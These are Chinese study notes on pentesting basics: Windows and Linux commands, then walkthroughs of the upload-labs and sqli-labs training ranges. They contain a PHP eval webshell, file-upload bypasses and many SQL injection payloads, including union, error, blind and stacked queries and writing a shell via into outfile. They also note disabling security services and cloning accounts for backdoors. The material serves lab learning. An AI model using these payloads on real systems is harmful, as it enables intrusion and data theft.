win+e开启资源管理器 alt+tab切换应用程序
win+f打开搜所窗口 alt+D选中地址栏
win+l锁定当前用户 col+alt+delete终止某一进程
win+r运行 alt+下 下拉列表
win+u设置个性化 alt+回车 快速查看属性
win+tab切换窗口 alt+空格 打开控制选单
alt+空格+n最小化当前窗口
regedit 注册表 alt+ 空格+r回复最小化窗口
F2重命名 alt+空格+x最大化当前窗口
alt+空格+s改变窗口大小
alt+空格+m移动窗口

ctrl+A全选 shift+del永久删除
ctrl+b加粗 shift+ctrl切换输入法
ctrl+c复制 shift+空格输入法全半角切换
ctrl+d打开添加收藏面板 shift+F10选中文件右菜单
ctrl+e打开浏览器搜索栏 shift+F3切换大小写
ctrl+f查找面板 shift+tab选项之间向后移
ctrl+n新建空白窗口 shift+CTRL+t还原关闭标签
ctrl+s保存 shift+CTRL+n新建文件夹
ctrl+t平铺所有 shift+CTRL+esc打开任务管理器
ctrl+v黏贴
ctrl+x剪切
ctrl+y返回上一步
ctrl+z撤销上一步

服务service.msc打开计算机服务利用net start|stop可以开启或停止服务
sc config 服务名 start=disable这条命令可以禁止开机加载某些服务可以关闭一些安全防护软件。

端口是用来区别服务的端口不能复用,端口一共有1-65535个1-1024系统使用,可以通过端口确定服务
常见端口服务
渗透测试常用端口
本来端口无法服用但是通过上传端口复用程序可以实现或者使用隧道工具可以访问内网服务。

注册表可以进行某些操作留后门。regedit可以打开第三个跟腱重要在这里可以克隆账号。windows是根据uid号判断是否为管理员(500)
开机启动项的注册表也很重要

systeminfo可以查看系统信息
重启命令shutdown -r -t 0 -s关机
net start和net stop 有空格使用双引号包起来
net use k: 映射磁盘 走smb 端口445
mstsc远程桌面连接连接远程时会把自己的盘符交出去很危险。

Linux系统

linux有点开源、免费、稳定、安全、性能高

linux内核版本xx.yy.zz xx代表主版本号 yy代表次版本号 zz代表更新次数 次版本号奇数是开发版偶数是稳定版

linux磁盘分区硬件设备所在的目录/dev/hda5(hd表示ide设备,sd表示scsi设备)硬盘顺序号以字母abc…表示,分区号以数字123…表示(前四个分区给了主分区了新逻辑分区从5开始)使用df -T命令可以查看
使用-h可以查看大小

mount命令可以挂载存储介质 umount可以卸载挂载的分区

linux文件系统类型ext4、swap交换文件系统,支持的类型有fat16、fat32(单个文件不能超过4G)、ntfs(单个文件不能超过2T)、xfs、jfs、exfat格式支持各种操作系统跨系统

修改红帽密码按键操作ee2es回车b引导输入passwd修改密码

linux目录结构:
根目录下分很多 bin目录是命令 boot引导分区开机启动项 dev存放存储介质 etc存放配置文件 home普通用户家目录 lib库文件 media、mnt用来挂载存放介质 opt大型应用程序 proc系统开机生成的临时文件 root超级管理员家目录 sbin超级管理员命令 selinux防护体系 srv、sys系统文件 tmp有编译权限 usr存放源代码安装路径 var存放日志或消息或者网站根目录

井号#号代表的是管理员 $是普通用户

内部命令安装完系统自带的命令,外部命令安装的应用程序产生的命令
短命令一个- 长命令两个- 可以用–help查看帮助
uname -r(版本号) -a(详细信息)
hostname查看或临时修改计算机名称
ifconfig查看ip信息 dhclient加名称 重新获取ip
cat /proc/cpuinfo 查看cpu信息
cat /proc/meminfo 查看系统内存信息
halt 关机
reboot 重启
pwd 查看当前目录
cd 切换目录
du 统计目录及文件空间占用情况 -sh统计目录大小
ls 产看文件命令 -l查看详细的文件信息 -h查看大小 -a查看隐藏文件


chmod 更改文件权限 chmod o+x其他人加x chmod g+x给组加x权限 chmod u-x给所有者减x权限 chmod a+x给所有人加x权限 也可以用数字修改权限 r4 w2 x1 值相加 例如chmod 777 xxx
chomn修改所有者 -R递归继承


touch创建新文件 touch * 更新所有文件创建时间
mkdir创建目录 -p递归创建
cp复制文件或目录 -r递归复制 -f强制复制 -p保持源文件属性不变 -i覆盖目录提醒
rm 删除文件或目录 -r递归删除 -f强制删除不提醒 -i删除时提醒
mv 移动或重命名目录或文件
wc 统计文件中出现的单词数量字节数量和行数
cat查看文件内容
find命令查找文件 -name 指定文件名查找 -size指定文件大小查找 -user指定文件属性查找 -type指定文件类型查找


vi编辑器 -r用于恢复系统突然崩溃时正在编辑的文件 -R用于只读方式打开文件 +n定位光标行号打开
shift+:底边模式 set nu设置显示行号
:n快速定位几行 d删除
dd删除一行 yy复制 p粘贴 n+dd删除多行
i进入插入模式 esc推出进入底边模式
w保存 q推出 !强制 /向下搜索 ?向上搜索 %代表全文 $代表文本结尾 .代表当前位置 s搜索
e!取消所有修改


压缩命令:
gzip -d解压 -9高度压缩 后缀用gz
bzip2 -d解压 -9高度压缩 后缀名bz2
tar归档 -c创建归档文件 -v输出详细信息 -f表示使用归档文件
tar -cvf 4.tar 1 2 3 将1 2 3 归档为4.tar
tar -xvf 4.tar 解归档 -t查看归档中有哪些文件但不解归档
tar zxvf 解压解归档tar.gz格式 tar jxvf加压解归档bz2格式
tar -rvf 4.tar 4 向4.tar中追加4


useradd命令添加用户 -u指定uid -d指定宿主目录缺省为/home/用户名
-e指定账号失效时间 -g指定用户基本组名或uid -G指定用户附加组名Gid号 -M不为用户创建并初始化宿主目录 -s指定用户的登录shell
userdel删除用户-r表示连宿主目录一并删除


ps -aux 查看系统进程 top动态查看系统进程 kill 1234 杀死进程
netstat -an查看与外部连接的 netstat -tnlp查看本地开放端口


rpm 和 yum安装软件
rpm -ivh 加包名 rpm -qi 包名 查看包信息 rpm -e 包名 卸载包
yum -y install 包名 安装软件 源在/etc/yum.repos.d/rhel*
yum -y remove 包名 删除安装的软件
安装网站启动环境:httpd php php-mysql mysql mysql-server
然后启动service 服务名 start
iptables -F关闭防火墙 setenforce 0
service mysqld start启动mysql
创建mysql账号mysqladmin -uroot password 密码
给路径权限chomn


service network restart重启网络服务
在/etc/resolv.conf文件下修改dns
修改apche配置文件/etc/httpd/conf/httpd.conf文件
Listen 80 网站侦听的端口
DocumentRoot 网站根目录
Directoryindex 首页
虚拟主机配置网站

upload-labs学习

upload-labs学习

靶场介绍

upload-labs是一个用php语言编写、专注于文件上传漏洞的闯关式的网络安全靶场,练习该靶场可以有效的了解并掌握文件上传漏洞的原理和利用方法和修复方案。源码地址:https://github.com/c0ny1/upload-labs

文件上传靶场

安装

从官网下载下源码解压到phpstudy的www路径下,访问即可。
安装路径
访问路径
访问地址

文件上传漏洞介绍

文件上传漏洞,顾名思义,就是攻击者通过一些方法绕过了客户端验证(JavaScript前端验证,100%可以用中间人绕过)和服务端验证(如后缀名、mime类型验证)上传了非预期的脚本文件导致服务器被植入了木马获得了服务器的命令执行权限,一般为高位漏洞。

常见的预防方法:

  1. 前端验证(防君子):在前端进行上传文件后缀限制,很容易绕过
  2. 后端文件名验证:在后端对文件名执行白名单校验,不在白名单内的禁止上传
  3. 文件头检验:查看文件头与后缀名是否匹配
  4. 最终要的安全策略:将上传的文件存到另一个专用文件服务器(类似于跨站分离);如果没有专用的文件服务器,就取消上传目录执行权限,将上传的文件进行重命名,必要时不显示上传路径。

万能的webshell

php一句话:<?php @eval($_post(['cmd']));?>

正文开始

pass-01

任务
这一关是前端js验证,对文件上传类型做了限制,我们直接修改前端代码添加php类型进行绕过
修改代码
上传一句话这里抓包绕过
上传成功
访问upload/就可以看到上传的脚本
可以连接

pass-02

任务
查看提示说是后端进行了mime验证,查看代码也只进行了这一项验证
这里依旧抓包伪造mime进行绕过
抓包绕过
出现

pass-03

第三关
上传php提示
提示
查看源码
源码
这里进行了黑名单限制:asp,aspx,php,jsp,这些是不允许上传的
删除文件名首位空格,删除文件名末尾的点,将后缀名转为小写
去除::$data数据流标记,使用随机数重命名文件名。我们可以上传php文件的别名进行黑名单绕过。别名有.phtml .phps .php5 .pht进行绕过,这里直接上传一个.php5文件
上传
访问
没有解析
需要在apache的httpd中配置以下代码

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

不配置无法解析,配置好后重启
配置
然后我们重新上传
重新上传
成功解析
成功

pass-04

这一关查看提示发现禁止上传的类型很多
禁止上传的类型
这种情况我们尝试上传一个.htaccess配置文件,将4.png图片当作php代码执行,创建一个htaccess配置文集其内容为

<FilesMatch "4.png">
SetHandler application/x-httpd-php
</FilesMatch>

意思是如果文件中有4.png就会被解析成.php,我们先上传这个文件然后再上传一个名为4.png的图片马。
这里需要注意文件名必须是.htaccess改为其他加上前缀是无法解析的,实战有可能上传的文件被重命名,被重命名就失效了,还需要去phpstudy中修改httpd配置文件,箭头的位置由none改为all保存重启即可
配置
成功绕过并解析
成功

pass-05

这一关也是禁止了一大堆上传类型.htaccess文件也禁止了
进行了一大堆限制
这里它没有进行循环验证,也就是说首位去空,删除末尾的点,去除字符串::$data,转换为小写这些东西只进行了一次验证,绕过思路就是在数据包中把后缀名改为.php. .验证过程,首先发现一个点这时就会去除,发现有空格就会去掉,这时还有一个点由于只验证一次不会在去除就可以上传成功也可以解析。这里php版本为5.4.45
成功绕过

pass-06

这一关查看源码进行了一大堆过滤但是没有进行大写转小写,我们可以上传纯大写或大小写结合的后缀名,可以加空格绕过
成功

pass-07

源码
看源码发现没有首尾去空,我们上传php抓包加空格绕过
成功绕过

pass-08

源码
发现没有删除文件名末尾的点,和第七关一样,把空格换成点尝试绕过
成功

pass-09

源码
这一关没有去除字符串::$data在php后加上绕过,Windows的特性在磁盘中会忽略::$data并将文件新建。它是一个属性类型代码
成功

pass-10

这一关和第五关一样,第五关如何绕过,第十关就如何绕过
成功

pass-11

本关同样使用了黑名单,意思是上传了规定的文件会把文件后缀去掉如7.php就会把php过滤掉,文件没有了后缀名字然无法解析。但是只过滤了一次,也就是说写两个php就可以绕过了如7.phphpp过滤拼接,也就是双写绕过
源码
抓包修改看路径
上传
可以访问到成功
成功

总结

以上基本都是黑名单绕过,而且只验证了一次,所以这些关都可以用一个思路解出,那就是php. .都是可以这样,但这样就失去了意义。

pass-12

这一关由黑名单变成了白名单,只允许上传几种文件格式,但是这里上传路径是可以控制的,可以使用%00截断。%00只能是用于低于php版本5.3的,这里我们要把php版本切换一下并且把magic_quotes_sgc关闭。
配置
源码
源码
绕过
成功

pass-13

这一关和上一关差不多,只不过提交方式改变了,get会自行解码,post不会,我们要对%00进行url编码即可绕过。
编码
流程
成功绕过

pass-14

这一关是用图片马绕过,图片加php代码制作图片马进行绕过,当然还需要由文件包含漏洞将上传的图片解析成php,制作图片马
图片木马
上传查看路径
上传查看路径
文件包含漏洞
文件包含
包含上传的图片执行
执行
成功解析绕过

pass-15

这一关我们需要了解一个函数
这个函数
其功能是通过调用getimagesize函数获取文件头判断是否为图片,符合要求可以通过。这一关和上一关一样需要上传图片马然后配合文件包含漏洞解析。
成功绕过

pass-16

这一关和14、15思路一样,操作一样,但是要打开php_exif,phpstudy的其他选项菜单打开配置文件php.ini修改配置文件,删除分号是打开扩展
配置
重启exif_imagetype函数读取图像的第一个字节并检查其签名,本函数可以用来避免调用其它exif函数用到了不支持的文件类型上传和$_SERVER[‘HTTP_ACCEPT’] 结合使用来检查浏览器是否可以显示某个指定的图像。
绕过

pass-17

这一关主要是二次渲染绕过,imagecreatefromjpeg函数是由gif文件或url创建一个新图象,成功则返回一个图像标识符,图像资源,失败则返回false,导致图片马的数据丢失,上传图片马失败。
按照原来的方法上传绕过发现可以上传但是二次渲染把里边的php代码删掉了,我们可以把修改过的和没修改过的进行比较把php代码放到没有修改的部分里,可以使用010进行操作,操作完成后在配合包含漏洞进行解析。
对比
在相同的地方插入php代码,这里需要编写python代码来构造绕过渲染函数的图片webshell。

pass-18

这一关主要是对竞争条件的考察,看代码是先将图片上传然后才开始进行判断后缀名、二次渲染,我们在上传的一瞬间访问这个文件,就不能进行删除和二次渲染了,这就相当于我们打开了一个文件在去删除这个文件就会提示已打开无法修改一样。
这里我们直接上传一个php然后抓包一直发送然后访问即可绕过
成功绕过

pass-19

这一关的上传路径有问题不是上传到upload中进入19关修改myupload.php文件
修改文件
重启,这关是检查了后缀名然后上传,然后二次渲染,这时我们只能上传图片马,而且得配合解析漏洞进行通过,和上关一样需要竞争我们访问的地址是加上包含漏洞的
成功
这时逻辑漏洞,二次渲染本身是没有问题的,如果先验证在上传就没办法了。

pass-20

这一关两种方法:
第一种
move_uploaded_file()函数中的img_path是由post参数save_name控制的,可以在save_name利用%00截断(注意php版本低于5.3)如图
成功

第二种
move_uploaded_file函数有一个特性会忽略掉文件末尾的/.所以我们把末尾修改为/.绕过
成功

pass-21

这一关是利用数组绕过验证
成功绕过

sqlilabs学习

sqlilabs学习

sqli_labs简介

sqli_labs是一个很好的学习sql注入的靶场,安装在网站下载相关靶场源码解压到phpstudy的www目录下修改连接数据库配置文件中的用户名和密码,访问网站点击set up即可成功安装。然后我们选择关卡进行学习,这里也可以学习使用sqlmap工具直接把地址扔进里边跑。

sqlilabs关卡学习

Less-1 get - error based - single quotes - string(基于错误的get单引号字符型注入)

首先需要在url中添加参数?id=1,这时页面正常显示,没有报错。
输入id参数正常
我们在参数上加一个单引号会报错,可以判断它是单引号注入
单引号报错
常规注入我们使用order by来猜测字段数,猜测时使用二分法判断有几个字段,向上取整。输入' order by 10 --+报错
报错
然后二分尝试5报错
报错
然后尝试3正常
正常
我们在尝试一下4看一看
报错
报错说明只有三个字段,然后我们尝试确定回显位置' union select 1,2,3 --+
确定位置
在这里就需要让前面的语句报错才可以将此语句注入,这时我们往前面加一个-就可以报错,从而执行我们注入的语句,可以看到已经确定了位置。
现在我们就可以进行注入获取数据库名等相关信息:

查看用户名:union select 1,2,user() --+
查看数据库名:uinon select 1,2,database() --+
查看数据库版本:union select 1,2,version() --+

我们查看数据库名
查看数据库名
然后联合information_schema表查看表有那些
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
显示信息
然后查表中的字段' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
产看users表的字段
这里用table_schema=来指定数据库名用table_name=指定表名
然后查询信息即可' union select 1,2,group_concat(username,0x3a,password) from users --+
成功获取到信息
这里有limt限制只能用group_concat函数合并,0x3a代表着:用来分隔

less-2- get - error based - intiger based(基于错误的get整型注入)

我们加个’引号报错说明存在注入
出错
然后我们输入' and 1=1 --+
还报错
说明有可能是数字型我们去掉单引号
正常
将and 1=1替换为and 1=2产看页面回显
回显不正常
回显不正常说明是数字型,然后猜字段将and 1=2 更换为order by 4(3)
猜字段
然后获取字段位置=-1 union select 1,2,3需要前面部分出错所以加一个-1这个不存在的值
查看位置
获取信息-1 union select 1,database(),version()
获取信息
其余查表等和第一关一样

less-3 - error based - single quoter with twist string (基于错误的get单引号变形字符型注入)

加个单引号查看报错信息
报错
根据报错信息我们发现是字符型注入且闭合方式为')我们构造payload为') union select 1,2,3 --+
成功
之后的操作都一样

less-4 - get - error - double quotes -string (基于错误的get双引号字符型注入)

我们加个单引号查看信息发现不报错,但当我们加一个双引号是就会报错
双引号报错
并且发现报错信息中有括号,确定为字符型注入且闭合方式为")
尝试payload为")union select 1,2,3 --+
成功
其余步骤都相同

less-5 - double injection - single quotes - string(双注入get单引号字符型注入)

我们输入正常的1回显you are in没有用户名和id的回显。
参数
我们加一个单引号报错,可以判断闭合
报错
我们判断字段数' and 1=1 order by 4--+
判断字段数
我们输入一个假条件发现没有回显' and 1=2 --+
没有回显
条件正确有回显,条件错误没有回显,布尔盲注?其实不用,上面发现报错有回显,所以采用报错注入的方法,报错注入的运用前提是需要有数据库错误的显示,看源码
会显示报错信息
报错常用的三个函数extractvalue() updatexml() floor() 还有exp()这里介绍前三种

  1. 使用extractvalue函数进行报错注入

暴数据库名:' or|and extractvalue(1,concat(0x7e,database()|(select database()),0x7e)) --+
报错注入
暴表'or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
暴表
爆字段' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))--+
暴字段
暴内容,group_concat函数可能放不下所有内容,可以采取截取或者limit函数读取' or extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))--+
暴值

  1. 使用updatexml函数进行报错注入
    暴库'or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
    暴库
    暴数据库表'or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+
    暴表
    暴字段'or updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users'),0x7e),1)--+
    爆字段
    暴值'or updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)--+
    暴值

  2. 使用floor函数进行报错注入
    暴库' union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand()*2))x from information_schema.tables group by x --+
    暴表' union select 1,count(*),concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand()*2))x from information_schema.tables group by x --+
    暴字段' union select 1,count(*),concat(0x7e,(select (column_name)from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand()*2))x from information_schema.tables group by x--+
    暴值' union select 1,count(*),concat(0x7e,(select (username)from users limit 0,1),0x7e,floor(rand()*2))x from information_schema.tables group by x --+

成功

使用盲注的方法
这里可以尝试使用盲注使用left函数
1' and left((select database()),1)='a' --+
这里如果正确显示you are in 错误就没有回显
没有回显
我们已经知道是security尝试一下s
成功
s成功返回了you are in 然后我们将left函数中的1改为2,因为已经确定了第一位,就来确定第二位
第二位
依此类推,就能推出我们需要的信息,但是步骤繁琐我们可以使用burp暴力破解。
burp操作
成功暴破

less - 6 - get -double injection - double quotes - String(双注入get双引号字符型注入)

当我们输入单引号时发现不报错,输入双引号报错,根据报错信息我们可以判断为字符型注入,闭合方式为”.
双引号出错
其余的步骤和第五关完全一致只不过单引号闭合变为双引号闭合

less - 7 - get - dump into outfile - String(导出文件get字符型注入)

当我们添加id参数访问时页面出现use outfile为sql注入的写入与读取,读取文件为load_file(文件路径),写入文件into outfile(),into_dumpfile(),首先准备闭合语句,发现当为’))时可以闭合
首先猜字段数,通过页面回显布尔方式猜解到字段数为3,能够读写需要的几个条件:

  1. 需要高权限root
  2. 需要有文件写入权限secure_file_priv不是null
  3. 需要知道绝对路径
  4. 魔术引号gbc时关闭magic_quotes_gpc = off 关键步骤写入

设置
同注入的方式写入一句话到文件中payload')) union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\shell.php" --+
写入一句话

然后使用蚁剑连接
蚁剑连接

也可以使用前边第五关的方法盲注或者报错注入的方法也能进行只不过闭合方式变一下
如图

less - 8 get - blind - boolian based - singl quotes(布尔型单引号get盲注)

测试单引号,闭合没有回显,没有报错回显说明报错注入不合适
闭合
正确语句you are in 错误无回显,只能使用布尔盲注了
测试语句
测试方式和第五关类似语句猜解数据库名' and ascii(substr(database(),1,1))>114 --+
盲注
说明是ascii码为115小写s
一次类推更换database就可以获取其他信息。
猜数据库表名1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117(?) --+
获取表信息

也可以使用时间盲注语句1' and if(substr(database(),1,1)='a',sleep(5))--+
时间盲注

less - 9 - blind - time based. - single quotes(基于时间的get单引号盲注)

尝试各种闭合后回显都一样且没有任何报错信息,查看第九关的源码可以发现是单引号闭合
单引号闭合
使用单引号闭合,然后尝试时间盲注1' and if(length(database())=8,sleep(5),null)--+
测试时间盲注
其他操作和上一关的盲注类似。

less - 10 - blind - time based - double quotes(基于时间的型双引号盲注)

查看源码可以看到是双引号闭合
查看闭合方式
其余和第九关相同尝试一波1" and if(length(database())=8,sleep(5),null)--+
盲注

less - 11 - error based - single quotes -string(基于错误的post型单引号字符型注入)

尝试admin登录发现回显:
登录有回显
加单引号尝试注入发现报错,
存在注入
构造语句判断是字符型注入
判断注入类型
通过order by 猜字段数
猜字段
查看回显位置
回显位置
获取数据信息
获取数据
post型注入可以使用sqlmap抓个包然后跑包,或者使用–data参数指定注入跑

less - 12 - post - error based - double quotes -string - with twist(基于错误的双引号post型字符型变形的注入)

通过简单测试,发现闭合方式为”)
判断闭合方式
在对其进行post注入时改一下闭合方式其余同lesss11,也可以使用报错注入类似于第五关
报错注入

less - 13 - double injecion - single quotes -string - twist(post单引号变形双引号注入)

加上单引号发现闭合形式为’)
判断闭合形式
修改闭合方式使用第12关的报错注入,或者使用基于时间的盲注。
修改闭合方式

less - 14 - post - double injection - single quotes - string -twist (post单引号变形双注入)

在这里加单引号无变化,加双引号报错发现闭合方式为双引号闭合,在这里可以使用报错注入,或者盲注
修改闭合报错注入

less - 15 - post - blind/time based -single quotes(基于bool型/时间延迟单引号型post注入)

查看源码可以发现是单引号闭合,需要注意的点是通过返回的图片内容判断是否正确
闭合方式
使用时间盲注或者布尔盲注这里演示布尔盲注
布尔盲注
获取数据库名
可以看到可以执行
时间盲注
时间
错误反应很快,正确加载很慢

less - 16 -post -blind/time based -double quotes(基于boole/时间延迟的双引号post型盲注)

当测试到admin”) #时登录成功,闭合方式为”),依旧使用时间或者布尔盲注这个和上一关很像但是闭合方式换成了”)
测试

less - 17 - update query - error based -string(基于错误的更新查询post注入)

输入admin admin登录时提示更新密码,猜测注入点在密码的位置查看源码
源码
果然在用户名哪里进行了检查而密码没有做处理
源码
检查了传入值的前15位
报错注入
updatexml报错注入
扔进sqlmap里边也行

less - 18 -post - header injection - uagent field - error based(基于错误的用户代理,头部注入)

打开页面我们发现网址直接显示在了页面说明后台读取了http头里的东西
我们尝试直接burp,在burp登录成功后,发现ua可以注入并且回显
回显
查看源码
源码
我们发现将ua插入数据库中这里就存在注入构造语句
'and updatexml(1,concat(0x7e,database(),0x7e),1),1,1)#
成功获取
直接仍sqlmap吧使用sqlmap时需要指定等级为3 risk 2

less - 19 post - header injection - referer field - error based(基于头部的referer post报错注入)

这里和上面的比较相似,只是在referer出的回显,查看界面,我们发现它将ip和referer进行了输出
成功注入
我真的直接仍sqlmap

less - 20 post -cookie injections -uagent field - error based(基于错误的cookie头部post注入)

我们登录后可以发现返回了很多页面信息
页面信息
有一个按钮,发现可以删除cookie,所以我们使用的cookie进行了数据库查询,所以我们要在这里入手,注入点就在这里,点击按钮抓个包
然后我们加一个单引号报错:
报错
确定位置
获取信息
其他操作都一样。sqlmap 打好* level 2


查看源码我们发现cookie使用了base64的加密,用’)闭合
源码
可以使用在线网站进行base64加解密https://tool.oschina.net/encrypt?type=3,在进行注入时我们也需要将输入的内容进行编码,否则会报错。举例如下:
编码
这里直接输入不编码可以看到报错
报错
输入编码后的语句:
成功执行
如果要使用sqlmap进行跑的话需要使用–tamper使用脚本进行加密

根据源码我们发现使用的是双引号闭合,并且和上一关一样用base64编码
源码
其他都不变只不过闭合方式变成了双引号。

less - 23 - get -error based-strip comments(基于错误的,过滤注释的get型)

这里重新回到get型发现输入单引号报错,但是注释符没有用了,猜测注释符被过滤,所以只能用闭合的方式将后边多余出来的也闭合,这里利用单引号可以闭合
判断闭合

?id=1' '
这样sql就成为 id='1' 这里可以添加代码了 ''

这里不能使用order by去判断字段数了,只能使用union联合查询来判断字段数

id=-1' union select 1,2,3,4··· '

来测试字段数
测试字段
到三时返回并显示了位置,然后就可以直接添加语句进行注入了

id=-1' union select 1,version(),database() '
-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') '
-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='emails') '
-1' union select 1,2,(select group_concat(email_id) from emails) '

获取值

less - 24 second degree injection real treat - store injections(二次注入)

这里使用的是二次注入,二次注入是指已存储(数据库,文件)的用户输入被读取后再次进入到sql查询语句中导致的注入,利用门槛高。

这一关有一个登录页面和注册页面,还有一个修改密码页面,该关卡使用二次注入,因为登录页面和注册页面对于密码和账户名都使用mysql_real_escape_string函数对于特殊字符进行转义。这里面我们利用注册页面,因为虽然存在函数对特殊字符进行转义,但是在调用sql语句时进行转义,当注册成功后账户密码存在到数据库时没有进行转义,以原本数据存入数据库中。当我们修改密码时,对于账户名是没有进行过滤的。
源码
首先我们查看后台用户信息,有一个abcdefg的账户,我们通过二次注入修改他的密码
数据库信息
我们注册一个abcdefg’#用户来污染数据库,单引号是为了闭合修改密码时用户名处的单引号,井号为了注释后边
注册
成功注册,污染成功
数据
用我们注册的用户登录并且修改密码,进行二次注入
注入
发生在我们第二次提交数据的时候

less - 25 trick with or & and(过滤了or和and)

源码
查看源码我们发现单引号闭合,并且将or和and替换成空,但只替换一次,大小写绕过没有用,我们可以尝试双写绕过
提示
双写绕过
成功

less-25a trick with or & and blind(过滤了or和and的盲注)

查看源码不需要单引号包裹
源码
没有单引号闭合,这里和上一关一样双写绕过
双写

less - 26 trick with comments and space(过滤了注释符和空格)

将逻辑运算符,注释符以及空格给过滤了,我们需要使用单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换,空格绕过可以使用%90 tab键(水平)、%0a新建一行、%0c新的一页、%0d return功能、%0b tab(垂直)、%a0 空格来绕过,使用()将语句包裹起来绕过,报错注入空格但是这里windows+phpstudy无法绕过空格只能用()绕过
尝试一波
id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0
执行
‘0是为了闭合后边
过滤

less - 26a get - blind based - all your spaces and comments belong to us (过滤了空格和注释的盲注)

这一关和上关一样只不过闭合方式不同变成了')但该页面也没有回显报错信息只能使用联合查询和盲注
源码
注意在windows+phpstudy环境下%a0无法绕过空格但在docker中可以成功
成功

less - 27 get - error based - all your union & select belong to us(过滤了union和select)

这一关过滤了union和select关键字我们通过大小写混合的方式绕过或者重写绕过
黑名单

?id=1'or(updatexml(1,concat(0x7e,(selesselectelectct(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0 #暴表

?id=1'or(updatexml(1,concat(0x7e,(selesselectelectct(group_concat(column_name))from(information_schema.columns)where(table_name='emails'))),1))or'0 #暴字段

?id=1'or(updatexml(1,concat(0x7e,(selesselectelectct(group_concat(email_id))from(emails))),1))or'0 #获取值

成功
这里%0A可以做括号

less - 27a get - blind based - all your union & select belong to us

这里和上一关一样,只是闭合方式不一样,经过测试发现双引号可以闭合
使用联合注入和盲注

?id=0"ununionion%0aseseleselectctlect%0a1,2,3"

尝试

less - 28 get - error based - all your union & select belong to us string-single quote with parenthesis(基于错误的,有括号的单引号字符型,过滤了union和select的注入)

这一关和25关相似,过滤了注释符空格还过滤了union和select。s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用重写绕过写。

?id=0')uni union%0Aselecton%0Aselect%0A1,2,3%0aand('1

绕过

less-28a 基于盲注的有括号的单引号字符型过滤了union和select等的注入

该关卡只过滤union+select。其他没有过滤。
?id=-1')uniunion selecton select 1,2,3 --+
绕过

less-29

这一关是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候时只提取了第一个id,如果我们有两个id参数,第一个参数正常数字,第二个id参数进行sql注入,sql语句在接受了相同参数时接受后面的参数值
源码
源码
?id=1&id=-1'%0aunion%0aselect %0a1,2,3--+
绕过

less-30

和29关差不多将单引号换成双引号
?id=1&id=-1"%0aunion%0aselect %0a1,2,3--+
绕过

less-31

和30关差不多多了一个括号
?id=1&id=-1")%0aunion%0aselect %0a1,2,3--+
绕过

less-32 宽字节绕过

这一关使用了preg_replace函数将斜杠,单引号和双引号过滤了,如果输入id=1”会变成id=1”,使得引号不起作用,但是可以注意到数据库使用了gbk编码我们可以使用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节,当某字符的大小为两个字节时称其为宽字节。所有默认英文字符占一个字节,汉字两个字节。
源码
?id=-1%df' union select 1,2,3--+
成功绕过

当我们需要使用sqlmap神器跑的时候需要加参数–tamper unmagicquotes跑宽字节

less-33

和上一关一样只不过换了函数addslashes()函数返回预定义字符之前添加反斜杠
绕过

less-34

这一关是post提交,使用addslashes函数对于账户和密码都进行了转义使用宽字节注入就行了加%df和后边自动添加的反斜杠组合成一个汉字绕过%df' union select 1,2,3--+
绕过

less-35

使用addslashes函数对于用户输入的内容进行了转义,但是参数id没有引号,主要影响后续暴破字段时候需要使用的名字加了引号,只需要将表名换成16进制进行编码就行,直接使用联合查询就可以

?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表

?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+ 爆字段

?id=-1%20union%20select%201,group_concat(password,username),3%20from%20users--+

成功

less-36

使用mysql_real_escape_string函数对于特殊字符进行转义,id参数是单引号,和32一样宽字节
绕过

less-37

这一关是提交方式使用post使用上一关的函数对账户和密码进行了转义,使用宽字节就行类似于34
成功

less-38

这一关就是单引号闭合,使用正常单引号闭合可以进行注入,不过这里可以使用堆叠注入,因为存在mysqli_multi_query函数支持多条sql语句同时查询,我们知道sql中以;划分每一句,这样我们可以使用多条语句
因为是堆叠注入我们需要用;分隔开我们创建一个新用户

?id=1';insert into users(id,username,password)values(15,'jayjay','aaa666');--+

插入数据

我们在查看一下
插入成功

less-39

这一关id没有包裹和上一关一样不需要加单引号,修改一下jayjay的密码

?id=15;update users set password='123456' where username='jayjay';--+

成功修改

less-40

这一关和39关一样id是整数不过闭合方式变成了单引号加括号,使用联合注入就可以
?id=-1')%20union%20select%201,group_concat(username,password),3%20from%20users%20--+
成功绕过
也可以使用39关的堆叠注入
?id=1');insert into users(username,password)values('hack','aaa666');--+
堆叠注入

less-41

这一关和39关一样id是整数。
直接联合查询

less-42

这一关因为账户进行了转义处理密码没有,数据库没有使用gbk编码不能和上面一样使用宽字节,但是存在堆叠注入,我们直接在密码哪里使用堆叠注入,向数据库插入密码和账号,单引号闭合。
注入
查看是否成功
成功

less-43

这一关和42差不多只不过闭合方式变成了单引号和括号。

less-44

这一关和42关一样只是关闭了报错

less-45 基于报错的password处的’)闭合注入

和43关一样只是关闭了报错

less-46 order by - error-numeric
